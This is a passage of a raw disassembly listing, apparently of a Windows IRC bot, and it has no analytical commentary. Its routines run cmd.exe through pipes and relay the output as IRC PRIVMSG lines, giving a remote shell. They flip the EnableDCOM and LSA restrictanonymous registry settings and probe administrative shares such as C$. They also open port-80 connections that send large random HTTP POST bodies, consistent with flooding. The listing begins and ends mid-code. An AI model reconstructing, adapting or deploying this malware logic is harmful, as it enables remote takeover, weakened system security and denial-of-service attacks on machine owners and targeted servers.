loc_41C7F0: ; CODE XREF: sub_41C7BD+28j
xor eax, eax
inc eax
leave
retn
sub_41C7BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C7F5(int,char *Str1,int)
sub_41C7F5 proc near ; CODE XREF: sub_41C87C+C0p
; sub_41C87C+107p ...
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str1 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_42B633 ; Str2
push [ebp+Str1] ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jz short loc_41C838
push 7D0h
call ds:dword_42B014 ; Sleep
push [ebp+arg_8]
lea eax, [ebp+Dest]
push [ebp+Str1]
push offset aPrivmsgSS_1 ; "PRIVMSG %s :%s\r"
push eax ; Dest
call _sprintf
add esp, 10h
jmp short loc_41C84F
; ---------------------------------------------------------------------------
loc_41C838: ; CODE XREF: sub_41C7F5+1Aj
push [ebp+arg_8]
lea eax, [ebp+Dest]
push offset aS ; "%s"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_41C84F: ; CODE XREF: sub_41C7F5+41j
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push [ebp+arg_0]
call dword_4441A0 ; send
test eax, eax
jg short loc_41C878
call sub_41C78D
loc_41C878: ; CODE XREF: sub_41C7F5+7Cj
xor eax, eax
leave
retn
sub_41C7F5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C87C proc near ; DATA XREF: sub_41C9D4+174o
Dst = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
push esi ; Size
xor edi, edi
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
mov ebx, ds:dword_42B12C
jmp loc_41C952
; ---------------------------------------------------------------------------
loc_41C8A8: ; CODE XREF: sub_41C87C+F1j
cmp [ebp+var_4], edi
jnz short loc_41C8D8
lea eax, [ebp+var_8]
push eax
push dword_4E27B4
call ds:dword_42B128 ; GetExitCodeProcess
test eax, eax
jz short loc_41C8CE
cmp [ebp+var_8], 103h
jnz loc_41C9A0
loc_41C8CE: ; CODE XREF: sub_41C87C+43j
push 0Ah
call ds:dword_42B014 ; Sleep
jmp short loc_41C944
; ---------------------------------------------------------------------------
loc_41C8D8: ; CODE XREF: sub_41C87C+2Fj
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_41C8F3
loc_41C8DF: ; CODE XREF: sub_41C87C+75j
cmp [ebp+eax+Dst], 0Ah
jz loc_41C997
inc eax
cmp eax, [ebp+var_4]
jb short loc_41C8DF
loc_41C8F3: ; CODE XREF: sub_41C87C+61j
mov [ebp+var_4], esi
loc_41C8F6: ; CODE XREF: sub_41C87C+11Fj
push esi ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push edi
lea eax, [ebp+var_C]
push eax
push [ebp+var_4]
lea eax, [ebp+Dst]
push eax
push dword_4E277C
call ds:dword_42B080 ; ReadFile
test eax, eax
jz loc_41C9AC
lea eax, [ebp+Dst]
push eax ; int
push offset byte_4E2780 ; Str1
push dword_4E2774 ; int
call sub_41C7F5
add esp, 0Ch
loc_41C944: ; CODE XREF: sub_41C87C+5Aj
push esi ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
loc_41C952: ; CODE XREF: sub_41C87C+27j
add esp, 0Ch
push edi
push edi
lea eax, [ebp+var_4]
push eax
push esi
lea eax, [ebp+Dst]
push eax
push dword_4E277C
call ebx ; PeekNamedPipe
test eax, eax
jnz loc_41C8A8
push offset unk_438BF8 ; int
push offset byte_4E2780 ; Str1
push dword_4E2774 ; int
call sub_41C7F5
push [ebp+arg_0]
call sub_40B149
add esp, 10h
push 1
jmp short loc_41C9CD
; ---------------------------------------------------------------------------
loc_41C997: ; CODE XREF: sub_41C87C+6Bj
inc eax
mov [ebp+var_4], eax
jmp loc_41C8F6
; ---------------------------------------------------------------------------
loc_41C9A0: ; CODE XREF: sub_41C87C+4Cj
call sub_41C78D
push offset unk_438BD0
jmp short loc_41C9B1
; ---------------------------------------------------------------------------
loc_41C9AC: ; CODE XREF: sub_41C87C+A8j
push offset unk_438BA0 ; int
loc_41C9B1: ; CODE XREF: sub_41C87C+12Ej
push offset byte_4E2780 ; Str1
push dword_4E2774 ; int
call sub_41C7F5
push [ebp+arg_0]
call sub_40B149
add esp, 10h
push edi
loc_41C9CD: ; CODE XREF: sub_41C87C+119j
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_41C87C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C9D4 proc near ; CODE XREF: sub_40274D+22E8p
; sub_418799+9Ap
Dest = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
Dst = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push esi
call sub_41C78D
xor esi, esi
push esi
lea eax, [ebp+var_178]
push eax
push 104h
push esi
push offset aCmd_exe ; "cmd.exe"
push esi
call dword_444124 ; SearchPathA
test eax, eax
jnz short loc_41CA0B
or eax, 0FFFFFFFFh
jmp loc_41CB8A
; ---------------------------------------------------------------------------
loc_41CA0B: ; CODE XREF: sub_41C9D4+2Dj
push ebx
push edi
mov edi, ds:dword_42B0A0
push esi
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_C]
push eax
xor ebx, ebx
lea eax, [ebp+var_10]
inc ebx
push eax
mov [ebp+var_1C], 0Ch
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi ; CreatePipe
test eax, eax
jz loc_41CAD2
push esi
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi ; CreatePipe
test eax, eax
jz loc_41CAD2
mov edi, ds:dword_42B09C
push 3
push esi
push esi
push offset dword_4E2770
call edi ; GetCurrentProcess
push eax
push [ebp+var_8]
call edi ; GetCurrentProcess
push eax
call ds:dword_42B098 ; DuplicateHandle
test eax, eax
jz short loc_41CAD2
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
push 44h
pop edi
push edi ; Size
lea eax, [ebp+var_74]
push esi ; Val
push eax ; Dst
call _memset
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
push esi
mov ebx, offset byte_42B633
push ebx
lea eax, [ebp+var_178]
push eax
mov [ebp+var_74], edi
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call ds:dword_42B008 ; CreateProcessA
test eax, eax
jnz short loc_41CADA
loc_41CAD2: ; CODE XREF: sub_41C9D4+60j
; sub_41C9D4+77j ...
or eax, 0FFFFFFFFh
jmp loc_41CB88
; ---------------------------------------------------------------------------
loc_41CADA: ; CODE XREF: sub_41C9D4+FCj
push [ebp+var_4]
mov edi, ds:dword_42B004
call edi ; CloseHandle
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_4E277C, eax
mov eax, [ebp+var_8]
mov dword_4E2778, eax
mov eax, [ebp+Dst]
mov dword_4E27B4, eax
call edi ; CloseHandle
cmp [ebp+arg_4], esi
mov eax, [ebp+arg_0]
mov dword_4E2774, eax
jz short loc_41CB14
push [ebp+arg_4]
jmp short loc_41CB15
; ---------------------------------------------------------------------------
loc_41CB14: ; CODE XREF: sub_41C9D4+139j
push ebx ; Format
loc_41CB15: ; CODE XREF: sub_41C9D4+13Ej
push offset byte_4E2780 ; Dest
call _sprintf
pop ecx
pop ecx
push esi ; int
push 0Ah ; int
push offset dword_438C5C ; Source
call sub_40AE85
mov ecx, [ebp+var_24]
mov edi, eax
imul edi, 234h
add esp, 0Ch
mov dword_4444F0[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_41C87C
push esi
push esi
call ds:dword_42B03C ; CreateThread
cmp eax, esi
mov dword_4444FC[edi], eax
jnz short loc_41CB86
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Dest]
push offset asc_438C28 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push eax
call sub_417D70
add esp, 10h
loc_41CB86: ; CODE XREF: sub_41C9D4+189j
xor eax, eax
loc_41CB88: ; CODE XREF: sub_41C9D4+101j
pop edi
pop ebx
loc_41CB8A: ; CODE XREF: sub_41C9D4+32j
pop esi
leave
retn
sub_41C9D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CB8D proc near ; CODE XREF: sub_41D1C3+37p
Dest = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
Str = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_444274, edi
jnz loc_41CCBB
lea eax, [ebp+var_4]
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
mov esi, 80000002h
push esi
call dword_444238 ; RegOpenKeyExA
test eax, eax
jnz short loc_41CC14
lea eax, [ebp+Str+2]
push eax ; Str
mov word ptr [ebp+Str+2], 4Eh
call _strlen
pop ecx
push eax
lea eax, [ebp+Str+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4440E4 ; RegSetValueExA
test eax, eax
lea eax, [ebp+Dest]
jz short loc_41CBFC
push offset dword_438ED8
jmp short loc_41CC01
; ---------------------------------------------------------------------------
loc_41CBFC: ; CODE XREF: sub_41CB8D+66j
push offset asc_438EB8 ; "-"
loc_41CC01: ; CODE XREF: sub_41CB8D+6Dj
push eax ; Dest
call _sprintf
pop ecx
pop ecx
push [ebp+var_4]
call dword_4441E8 ; RegCloseKey
jmp short loc_41CC27
; ---------------------------------------------------------------------------
loc_41CC14: ; CODE XREF: sub_41CB8D+36j
lea eax, [ebp+Dest]
push offset asc_438E88 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41CC27: ; CODE XREF: sub_41CB8D+85j
cmp [ebp+arg_C], edi
jnz short loc_41CC46
push 1 ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 14h
loc_41CC46: ; CODE XREF: sub_41CB8D+9Dj
lea eax, [ebp+Dest]
push eax
call sub_417D70
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_444238 ; RegOpenKeyExA
test eax, eax
jnz short loc_41CCB4
push 4
lea eax, [ebp+Str]
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov dword ptr [ebp+Str], 1
call dword_4440E4 ; RegSetValueExA
test eax, eax
lea eax, [ebp+Dest]
jz short loc_41CC9C
push offset dword_438E38
jmp short loc_41CCA1
; ---------------------------------------------------------------------------
loc_41CC9C: ; CODE XREF: sub_41CB8D+106j
push offset asc_438E04 ; "-"
loc_41CCA1: ; CODE XREF: sub_41CB8D+10Dj
push eax ; Dest
call _sprintf
pop ecx
pop ecx
push [ebp+var_4]
call dword_4441E8 ; RegCloseKey
jmp short loc_41CCCE
; ---------------------------------------------------------------------------
loc_41CCB4: ; CODE XREF: sub_41CB8D+DEj
push offset dword_438DC8
jmp short loc_41CCC0
; ---------------------------------------------------------------------------
loc_41CCBB: ; CODE XREF: sub_41CB8D+13j
push offset asc_438D98 ; "-"
loc_41CCC0: ; CODE XREF: sub_41CB8D+12Cj
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41CCCE: ; CODE XREF: sub_41CB8D+125j
cmp [ebp+arg_C], edi
jnz short loc_41CCED
push 1 ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 14h
loc_41CCED: ; CODE XREF: sub_41CB8D+144j
lea eax, [ebp+Dest]
push eax
call sub_417D70
cmp dword_44429C, edi
pop ecx
jnz loc_41CE6A
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
push ebx
loc_41CD10: ; CODE XREF: sub_41CB8D+2C1j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
push 0FFFFFFFFh
lea eax, [ebp+Str]
push eax
push 1F6h
push edi
call dword_44420C
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_41CDAF
cmp eax, 0EAh
jz short loc_41CDAF
xor esi, esi
loc_41CD3E: ; CODE XREF: sub_41CB8D+21Bj
push off_4434B8[esi]
push edi
call sub_41B8EE
pop ecx
pop ecx
push off_4434B8[esi]
test eax, eax
lea eax, [ebp+Dest]
jnz short loc_41CD63
push offset dword_438D74
jmp short loc_41CD68
; ---------------------------------------------------------------------------
loc_41CD63: ; CODE XREF: sub_41CB8D+1CDj
push offset asc_438D48 ; "-"
loc_41CD68: ; CODE XREF: sub_41CB8D+1D4j
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41CD95
push 1 ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 14h
loc_41CD95: ; CODE XREF: sub_41CB8D+1ECj
lea eax, [ebp+Dest]
push eax
call sub_417D70
add esi, 8
cmp esi, 20h
pop ecx
jb short loc_41CD3E
jmp loc_41CE47
; ---------------------------------------------------------------------------
loc_41CDAF: ; CODE XREF: sub_41CB8D+1A6j
; sub_41CB8D+1ADj
mov esi, dword ptr [ebp+Str]
xor ebx, ebx
inc ebx
cmp [ebp+var_4], ebx
jb loc_41CE3E
loc_41CDBE: ; CODE XREF: sub_41CB8D+2ADj
mov edi, [esi]
push edi ; Str
call _wcslen
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_41CE33
push edi
call sub_41B802
push eax
push 0
call sub_41B8EE
add esp, 0Ch
push dword ptr [esi]
test eax, eax
lea eax, [ebp+Dest]
jnz short loc_41CDF3
push offset dword_438D24
jmp short loc_41CDF8
; ---------------------------------------------------------------------------
loc_41CDF3: ; CODE XREF: sub_41CB8D+25Dj
push offset asc_438CF8 ; "-"
loc_41CDF8: ; CODE XREF: sub_41CB8D+264j
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41CE26
push 1 ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 14h
loc_41CE26: ; CODE XREF: sub_41CB8D+27Dj
lea eax, [ebp+Dest]
push eax
call sub_417D70
pop ecx
loc_41CE33: ; CODE XREF: sub_41CB8D+240j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_41CDBE
xor edi, edi
loc_41CE3E: ; CODE XREF: sub_41CB8D+22Bj
push dword ptr [ebp+Str]
call dword_444140
loc_41CE47: ; CODE XREF: sub_41CB8D+21Dj
cmp [ebp+var_10], 0EAh
jz loc_41CD10
lea eax, [ebp+Dest]
push offset asc_438CD0 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
pop ebx
jmp short loc_41CE7D
; ---------------------------------------------------------------------------
loc_41CE6A: ; CODE XREF: sub_41CB8D+173j
lea eax, [ebp+Dest]
push offset asc_438CA0 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41CE7D: ; CODE XREF: sub_41CB8D+2DBj
cmp [ebp+arg_C], edi
jnz short loc_41CE9B
push edi ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 14h
loc_41CE9B: ; CODE XREF: sub_41CB8D+2F3j
lea eax, [ebp+Dest]
push eax
call sub_417D70
pop ecx
xor eax, eax
pop edi
inc eax
pop esi
leave
retn
sub_41CB8D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CEAF proc near ; CODE XREF: sub_41D1C3:loc_41D201p
Dest = byte ptr -220h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
Str = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_444274, ebx
push esi
jnz loc_41CFD9
lea eax, [ebp+var_4]
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
mov esi, 80000002h
push esi
call dword_444238 ; RegOpenKeyExA
test eax, eax
jnz short loc_41CF36
lea eax, [ebp+Str+2]
push eax ; Str
mov word ptr [ebp+Str+2], 59h
call _strlen
pop ecx
push eax
lea eax, [ebp+Str+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4440E4 ; RegSetValueExA
test eax, eax
lea eax, [ebp+Dest]
jz short loc_41CF1E
push offset dword_439050
jmp short loc_41CF23
; ---------------------------------------------------------------------------
loc_41CF1E: ; CODE XREF: sub_41CEAF+66j
push offset asc_439034 ; "-"
loc_41CF23: ; CODE XREF: sub_41CEAF+6Dj
push eax ; Dest
call _sprintf
pop ecx
pop ecx
push [ebp+var_4]
call dword_4441E8 ; RegCloseKey
jmp short loc_41CF49
; ---------------------------------------------------------------------------
loc_41CF36: ; CODE XREF: sub_41CEAF+36j
lea eax, [ebp+Dest]
push offset asc_438E88 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41CF49: ; CODE XREF: sub_41CEAF+85j
cmp [ebp+arg_C], ebx
jnz short loc_41CF68
push 1 ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 14h
loc_41CF68: ; CODE XREF: sub_41CEAF+9Dj
lea eax, [ebp+Dest]
push eax
call sub_417D70
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_444238 ; RegOpenKeyExA
test eax, eax
jnz short loc_41CFD2
push 4
lea eax, [ebp+Str]
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov dword ptr [ebp+Str], ebx
call dword_4440E4 ; RegSetValueExA
test eax, eax
lea eax, [ebp+Dest]
jz short loc_41CFBA
push offset dword_438FF4
jmp short loc_41CFBF
; ---------------------------------------------------------------------------
loc_41CFBA: ; CODE XREF: sub_41CEAF+102j
push offset asc_438FBC ; "-"
loc_41CFBF: ; CODE XREF: sub_41CEAF+109j
push eax ; Dest
call _sprintf
pop ecx
pop ecx
push [ebp+var_4]
call dword_4441E8 ; RegCloseKey
jmp short loc_41CFEC
; ---------------------------------------------------------------------------
loc_41CFD2: ; CODE XREF: sub_41CEAF+DEj
push offset dword_438F80
jmp short loc_41CFDE
; ---------------------------------------------------------------------------
loc_41CFD9: ; CODE XREF: sub_41CEAF+13j
push offset asc_438D98 ; "-"
loc_41CFDE: ; CODE XREF: sub_41CEAF+128j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41CFEC: ; CODE XREF: sub_41CEAF+121j
cmp [ebp+arg_C], ebx
jnz short loc_41D00B
push 1 ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 14h
loc_41D00B: ; CODE XREF: sub_41CEAF+140j
lea eax, [ebp+Dest]
push eax
call sub_417D70
cmp dword_44429C, ebx
pop ecx
jnz loc_41D17E
push edi
xor esi, esi
mov edi, 200h
loc_41D02C: ; CODE XREF: sub_41CEAF+1EAj
push dword_4434BC[esi] ; int
push off_4434B8[esi] ; Str
push ebx ; int
call sub_41B883
add esp, 0Ch
push off_4434B8[esi]
test eax, eax
lea eax, [ebp+Dest]
jnz short loc_41D058
push offset dword_438F60
jmp short loc_41D05D
; ---------------------------------------------------------------------------
loc_41D058: ; CODE XREF: sub_41CEAF+1A0j
push offset asc_438F38 ; "-"
loc_41D05D: ; CODE XREF: sub_41CEAF+1A7j
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_41D086
push 1 ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 14h
loc_41D086: ; CODE XREF: sub_41CEAF+1BBj
lea eax, [ebp+Dest]
push eax
call sub_417D70
add esi, 8
cmp esi, 10h
pop ecx
jb short loc_41D02C
call ds:dword_42B130 ; GetLogicalDrives
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_41D166
loc_41D0AE: ; CODE XREF: sub_41CEAF+2B1j
test byte ptr [ebp+var_4], 1
jz loc_41D15B
cmp bl, 41h
jz loc_41D15B
movsx esi, bl
push esi
push offset aC_1 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah ; Count
push eax ; Dest
call __snprintf
push esi
push offset aC_0 ; "%c:\\"
lea eax, [ebp+var_20]
push 0Ah ; Count
push eax ; Dest
call __snprintf
add esp, 20h
lea eax, [ebp+var_20]
push eax
call dword_44407C ; GetDriveTypeA
cmp eax, 3
jnz short loc_41D15B
lea eax, [ebp+var_20]
push eax ; int
lea eax, [ebp+var_14]
push eax ; Str
push 0 ; int
call sub_41B883
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+Dest]
jnz short loc_41D11F
push offset dword_438F60
jmp short loc_41D124
; ---------------------------------------------------------------------------
loc_41D11F: ; CODE XREF: sub_41CEAF+267j
push offset asc_438F38 ; "-"
loc_41D124: ; CODE XREF: sub_41CEAF+26Ej
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41D14E
push 1 ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 14h
loc_41D14E: ; CODE XREF: sub_41CEAF+283j
lea eax, [ebp+Dest]
push eax
call sub_417D70
pop ecx
loc_41D15B: ; CODE XREF: sub_41CEAF+203j
; sub_41CEAF+20Cj ...
inc bl
shr [ebp+var_4], 1
jnz loc_41D0AE
loc_41D166: ; CODE XREF: sub_41CEAF+1F9j
lea eax, [ebp+Dest]
push offset asc_438F08 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
xor ebx, ebx
pop edi
jmp short loc_41D191
; ---------------------------------------------------------------------------
loc_41D17E: ; CODE XREF: sub_41CEAF+16Fj
lea eax, [ebp+Dest]
push offset asc_438CA0 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41D191: ; CODE XREF: sub_41CEAF+2CDj
cmp [ebp+arg_C], ebx
jnz short loc_41D1AF
push ebx ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+arg_4] ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 14h
loc_41D1AF: ; CODE XREF: sub_41CEAF+2E5j
lea eax, [ebp+Dest]
push eax
call sub_417D70
pop ecx
xor eax, eax
pop esi
inc eax
pop ebx
leave
retn
sub_41CEAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_41D1C3 proc near ; DATA XREF: sub_40274D+2BECo
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 98h
mov eax, [ebp+74h+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+74h+var_98]
rep movsd
cmp [ebp+74h+var_10], 0
push [ebp+74h+var_8]
mov dword ptr [eax+94h], 1
push [ebp+74h+var_C]
lea eax, [ebp+74h+var_94]
push eax
push [ebp+74h+var_98]
jz short loc_41D201
call sub_41CB8D
jmp short loc_41D206
; ---------------------------------------------------------------------------
loc_41D201: ; CODE XREF: sub_41D1C3+35j
call sub_41CEAF
loc_41D206: ; CODE XREF: sub_41D1C3+3Cj
add esp, 10h
push [ebp+74h+var_14]
call sub_40B149
pop ecx
push 0
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_41D1C3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41D21B proc near ; CODE XREF: sub_41D41B+CBp
; sub_41D41B+DDp ...
arg_0 = dword ptr 4
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
pop ecx
call _rand
cdq
idiv [esp+arg_0]
mov eax, edx
retn
sub_41D21B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41D235(char *Str)
sub_41D235 proc near ; CODE XREF: sub_41D41B+D4p
; sub_41D41B+E6p ...
var_34 = dword ptr -34h
Dst = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
Source = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Str = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push esi
push [ebp+Str] ; Str
call _strlen
mov esi, 0FFh
cmp eax, esi
pop ecx
ja short loc_41D2A5
push 10h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
push [ebp+Str]
mov [ebp+Dst], 2
call sub_4022BD
add esp, 10h
test eax, eax
mov [ebp+var_24], eax
jz short loc_41D2A5
push 50h
call dword_444260 ; htons
push 6
push 1
push 2
mov [ebp+var_26], ax
call dword_444100 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz short loc_41D2A5
push 10h
lea ecx, [ebp+Dst]
push ecx
push eax
call dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_41D2AC
loc_41D2A5: ; CODE XREF: sub_41D235+17j
; sub_41D235+3Cj ...
xor eax, eax
jmp loc_41D3FB
; ---------------------------------------------------------------------------
loc_41D2AC: ; CODE XREF: sub_41D235+6Ej
push ebx
push edi
push 32003h ; unsigned int
call ??2@YAPAXI@Z ; operator new(uint)
mov edi, ds:dword_42B038
mov ebx, eax
pop ecx
mov [ebp+Source], ebx
call edi ; GetTickCount
push eax ; Size
call sub_41ECD4
call _rand
cdq
idiv esi
mov [esp+34h+var_34], 32001h
push 0 ; Val
push ebx ; Dst
movsx esi, dl
call _memset
push 32000h ; Size
push esi ; Val
push ebx ; Dst
call _memset
push ebx ; Str
call _strlen
push 323EAh ; unsigned int
mov ebx, eax
call ??2@YAPAXI@Z ; operator new(uint)
push ebx
push [ebp+Str]
mov esi, eax
push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
push esi ; Dest
call _sprintf
push [ebp+Source] ; Source
push esi ; Dest
call _strcat
push offset asc_434A60 ; "\r\n"
push esi ; Dest
call _strcat
add esp, 40h
push esi ; Str
call _strlen
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
call edi ; GetTickCount
mov [ebp+var_18], eax
xor eax, eax
test ebx, ebx
mov [ebp+var_8], eax
jbe short loc_41D387
mov [ebp+var_10], ebx
mov ebx, 400h
jmp short loc_41D353
; ---------------------------------------------------------------------------
loc_41D350: ; CODE XREF: sub_41D235+150j
mov eax, [ebp+var_8]
loc_41D353: ; CODE XREF: sub_41D235+119j
mov ecx, [ebp+var_14]
sub ecx, eax
add eax, esi
cmp ecx, ebx
push 0
jnb short loc_41D365
push [ebp+var_10]
jmp short loc_41D366
; ---------------------------------------------------------------------------
loc_41D365: ; CODE XREF: sub_41D235+129j
push ebx
loc_41D366: ; CODE XREF: sub_41D235+12Ej
push eax
push [ebp+var_4]
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz loc_41D3FE
add [ebp+var_8], ebx
mov eax, [ebp+var_8]
sub [ebp+var_10], ebx
cmp eax, [ebp+var_14]
jb short loc_41D350
loc_41D387: ; CODE XREF: sub_41D235+10Fj
call edi ; GetTickCount
sub eax, [ebp+var_18]
test eax, eax
mov [ebp+var_18], eax
